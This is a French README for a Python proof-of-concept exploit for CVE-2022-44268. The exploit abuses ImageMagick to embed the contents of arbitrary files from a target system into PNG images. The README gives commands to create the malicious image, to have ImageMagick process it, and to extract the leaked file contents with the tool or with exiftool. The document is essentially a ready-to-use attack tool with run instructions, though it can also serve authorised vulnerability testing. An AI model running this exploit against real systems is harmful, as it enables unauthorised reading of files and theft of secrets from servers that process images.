
# PoC Python pour CVE-2022-44268 qui intègre le contenu de fichiers arbitraires dans des images PNG via ImageMagick, avec prise en charge de l'extraction pour exiftool.
Certains PoCs ne fonctionnent pas pour des contenus de fichiers spécifiques. Ce PoC peut fonctionner pour des contenus qui ne fonctionnent pas avec d'autres PoCs.
Clonez ce dépôt Git. Ensuite, installez les dépendances.
pip install -r requirements.txt
Pour intégrer votre payload dans une image :
python3 MagickPNG.py -i <image to modify> -f <file to read> -o <output file>
Ensuite, utilisez ImageMagick pour mettre à jour votre PNG.
Pour extraire les données du fichier modifié par ImageMagick :
python3 MagickPNG.py -d <resulting image> -o <output file>
Si cela ne fonctionne pas, essayez d'utiliser exiftool pour extraire les octets en hexadécimal.
exiftool -all:all -s image.png -b